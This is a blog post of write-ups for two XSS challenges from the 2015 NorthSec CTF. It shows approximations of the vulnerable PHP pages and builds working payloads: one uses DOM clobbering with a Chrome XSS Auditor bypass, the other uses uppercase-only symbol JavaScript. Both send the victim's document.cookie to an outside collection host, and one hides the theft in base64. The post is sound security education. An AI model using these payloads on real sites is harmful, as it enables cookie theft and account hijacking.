Monday 25 May 2015

NorthSec 2015 - XSS Challenge Writeups

This weekend, the NorthSec CTF was held in Montreal. I got questions from a few teams about how we where able to do some of the XSS challenge since some of them where quite challenging. I don't have the exact source of the challenge, but I will give a rough approximation of it.

contact.asr.raclette.ctf


The page that we had to find and exploit a XSS was doing roughly this : 
<html>
<body id="sampleForm">
<form method=<?php echo htmlentities(filter($_GET['method'])); ?> action="<?php echo htmlentities(filter($_GET['action'])); ?>" >
Comments <textarea name="comment"></textarea>
<script>
document.write("<input type='submit' name='submit' ");
document.write("value=\"" + document.body.id);
document.write("\">");
</script>
</form>
</body>
</html>
The "filter" function was a function which replaced some pattern to the string "XSS DETECTED". At the first looked this could seems pretty legitimate since the parameters are properly HTML escaped. There is indeed no way to escape of the form tag. However the script that prints the submit button can be attacked with a technique called DOM clobbering. If we can give the form the name "body" and and assign an "id" value, when the script will be evaluated, the value of "document.body.id" will be the "id" we have defined. Great, we now have a way to injected arbitrary HTML code !

When we started exploiting this we weren't able to make the victim execute any JavaScript code, but we where getting hits when we where making the victim view an image tag that pointed to our server. The hits we where getting had the user agent of the latest version of Google Chrome. This was a very bad news, because Google Chrome activate the XSS Auditor actived by default. So we had to find a way to bypass the XSS Auditor of the latest version of Google Chrome. Yikes !

Luckily there's plenty of information that explains how the XSS Auditor can be bypassed. It essentially resolves around confusing the browser to make sure he can't reliably trace back the injected code with the parameter passed in the URL. When there's multiple parameters that can be injected this is usually a lot easier. What also helped a bit was the "filter" function which could be used to confuse the browser even more. One of the pattern it changed to "XSS DETECTED" was "**". The first part of the "confusion" was to split the beginning and the ending of the script in the 2 parameters.
http://contact.asr.raclette.ctf/?method=aa name=body id='"><script>&action="</script>'
* Note : The parameters of the URL aren't URL encoded to improve readability. It's going to be the same for all the URL in this article.

To add a bit of confusion we used the filter trick and did this
http://contact.asr.raclette.ctf/?method=aa name=body id='"><script>/**/.test(1);&action="</script>'
For the rest of the code, we used a simple eval() of a base64 string
http://contact.asr.raclette.ctf/?method=aa name=body id='"><script>eval(atob(&quot;d2luZG93LmxvY2F0aW9uPSJodHRwOi8vc2hlbGwuaGFja2xhYi5jdGYvIitidG9hKGRvY3VtZW50LmNvb2tpZSk=&quot;));/**/.test(1);&action="</script>'
When we forced the victim to visit that page, we could steal his cookie and get the flag. The flag was worth 6 points.

main.asr.raclette.ctf


The page that we had to find and exploit a XSS was doing roughly this : 
<html>
<body>
<?php echo strtoupper(filter($_GET['x'])); ?>
</body>
</html>
The filter function was removing some keyword like "src", which essentially prevented the inclusion of external script. Additionally, the XSS-Protection was explicitly turned off.

The main constraint of this challenge was that all character were transformed to upper case. This means that no lower case character could be used. All native JavaScript function and almost every useful variable of the DOM (ex.: window, document, cookie, etc. ) are lower case and case sensitive. Ouch !

Luckily JavaScript is really flexible as a language and it's possible to have valid JavaScript code that doesn't use letters and number ! I wrote about this 4 years ago for the curious. We don't have constraint that heavy, but some of the technique needed are the same.

The first step to execute arbitrary code is to have access to either "eval" or the "Function" constructor. The "Function" constructor is the easiest one to retrieve. To retrieve it and execute code we can use
[]["constructor"]["constructor"](code)();
$=(1+{})[6]+(1+{})[2]+([][[]]+"")[1]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[0]+(1+{})[6]+(!0+"")[0]+(1+{})[2]+(!0+"")[1];
$$=[][$][$];
$$( ... code here ...)();
For the code itself, to stay compact, the string part of the code where were number decoded in base36. To be able to execute this, we had to retrieve the string "toString" which was done with
_=(!0+"")[0]+(1+{})[2]+"S"+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[5]+([][[]]+"")[1]+(""[$]+"")[14];
After that we could decode number to string this way
1966241552[_](36) // window
1698633989591[_](36) // location
1071753937337[_](36) // document
767051222[_](36) // cookie
When wrapping everything together, it gives the following payload
http://main.asr.raclette.ctf/?x=<script>$=(1+{})[6]+(1+{})[2]+([][[]]+"")[1]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[0]+(1+{})[6]+(!0+"")[0]+(1+{})[2]+(!0+"")[1];$$=[][$][$];_=(!0+"")[0]+(1+{})[2]+"S"+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[5]+([][[]]+"")[1]+(""[$]+"")[14];$$(1966241552[_](36)+"."+1698633989591[_](36)+"='http://shell.hacklab.ctf/'+"+1071753937337[_](36)+"."+767051222[_](36))();</script>
When we forced the victim to visit that page, we could steal his cookie and get the flag. The flag was worth 4 points.